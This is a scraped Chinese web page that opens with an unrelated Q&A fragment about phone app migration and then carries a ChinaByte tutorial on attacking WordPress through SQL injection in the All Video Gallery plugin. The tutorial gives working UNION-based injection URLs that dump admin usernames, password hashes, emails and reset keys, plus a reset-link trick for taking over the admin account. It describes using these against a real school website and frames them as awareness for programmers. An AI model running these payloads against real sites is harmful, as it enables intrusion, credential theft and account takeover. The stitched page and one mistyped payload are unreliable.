手机系统的设置权限,暂时无法搬家_百度知道
手机系统的设置权限,暂时无法搬家
比传统安卓好用，而且应该是实用性最好的一个、pay watch这些都是这个系统，看看这个手机可以软件搬家不那就换个手机试试！YunOS是国产系统。现在热销的魅蓝metal
其他类似问题
为您推荐：
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁比特客户端
您的位置：
详解大数据
详解大数据
详解大数据
详解大数据
实战：黑客如何利用SQL注入技术攻破网站
关键字：SQL注入 黑客攻防 技术
　　前几天的官方博客网站被突破，虽然很快进行了修复，但从网友截屏的图片来看，应该一些抗议美国国安局监听行为和反对微软在软件里隐藏后门的黑客所为。微软skype的官方博客使用的是WordPress平台，Wordpress目前是世界上最流行的博客平台，市场占有率高达70%，这次攻击事件虽然牵涉到wordpress，但并不能说明wordpress平台很脆弱，事实上脆弱的是wordpress上多达百万的各种第三方插件，这些插件的质量良莠不齐，如果你使用错误的插件，没有及时更新到最新版本，那你的wordpress网站就会成为黑客的目标。
　　All Video Gallery就是这样的一个典型例子。早在2012年6月份就有安全网站公布这个插件的1.1版有严重的安全漏洞，但我今天还是的使用搜到了仍然使用这个有漏洞的插件的网站。本文就是要以这个网站为靶子，给大家实战讲解黑客是如何利用sql注入技术攻破一个网站的。
　　这个网站看起来像是印度或巴基斯坦的某个公立学校的网站。我不想在这里透露这个网站的真实地址，如果你也想实战一下，可以自己架设一个wordpress网站，安装上这个有安全漏洞的插件。
　　SQL注入的基本原理
　　sql注入成因主要是对页面参数没有进行非法字符校验导致，比如说一个订单页面要显示某个客户的所有订单列表，这个页面的地址可能是/.php?customID=3，我们推理，这样页面的后台处理的sql应该是这样的：
　　select * form custom_order where custom_id = {$_GET['customID']}
　　按正常情况下，这里的接收的参数{$_GET['customID']}的值应该是传入的值3，这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。但是，如果这个参数被人恶意改成了如下形式：
　　/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
　　按这样的参数拼装成的sql就成了这样：
　　select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
　　这样注入恶意sql后，订单列表页显示的就不是订单信息了，而是中用户的名称和密码，或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名，管理员邮箱地址，通过邮箱重置管理员密码，登录超级管理员后台。
　　All Video Gallery插件的漏洞简介
　　安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址：
　　/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11
　　访问这个页面会显示一些配置信息，问题就出在pid这个参数上，程序后台显然没有严格检查这个参数，我们将利用这个参数进行sql注入。
　　WordPress是一个开源的平台，我们很容易弄清楚用户表的表名是wp_users，存放用户名，密码，邮件地址的字段分别是user_login，user_pass,user_email，我们下面将要把用户信息表注入进去。
　　获取超级管理员用户名
　　为了获取用户表中的用户名，我们注入的sql是这样的：
　　/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
　　在里输入上面的地址，页面上会显示下面的信息：
　　获取超级管理员邮件地址
　　我们可以直接获取用户的密码，但很显然，密码都是加密的，无法使用，我们这里使用另外一种思路，先获取用户的邮件地址，然后使用这个邮件重置用户的密码。
　　要获取邮件地址，我们需要将上面的sql中的字段名改成user_email:
　　/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
　　在浏览器里输入上面的地址，页面上会显示下面的信息：
　　重置管理员密码
　　WordPress的后台登陆地址是/wp-login.php，这个地址是可以公共访问的，我们进入这个页面后，点击Lost your password?链接，输入上面获取的管理员邮件。
　　这样做了之后，Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址，但我们可以使用上面同样的方法获取这个激活码，自己拼装出密码重置地址。存放激活码的字段是user_activation_key，我们的sql注入地址改成下面这样：
　　/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users
　　在浏览器里输入上面的地址，页面上会显示下面的信息：
　　有了激活码，我们就可以拼装出装置密码的地址了：
　　/wp-login.php?action=rp&key=resetkey&login=username利用这个地址进入重置密码页面：
　　我们的黑客行动到此基本上是大功告成，但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击，而是要提醒大家防范安全漏洞，所谓知己知彼，方能百战不殆，程序员应当对基本的黑客攻击方式有一些了解，针对性的在编程时避免造成类似sql注入的安全漏洞，构筑更健壮的软件。
[ 责任编辑：小石潭记 ]
新经济、新业态环境下，数据量呈…
甲骨文的云战略已经完成第一阶段…
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte}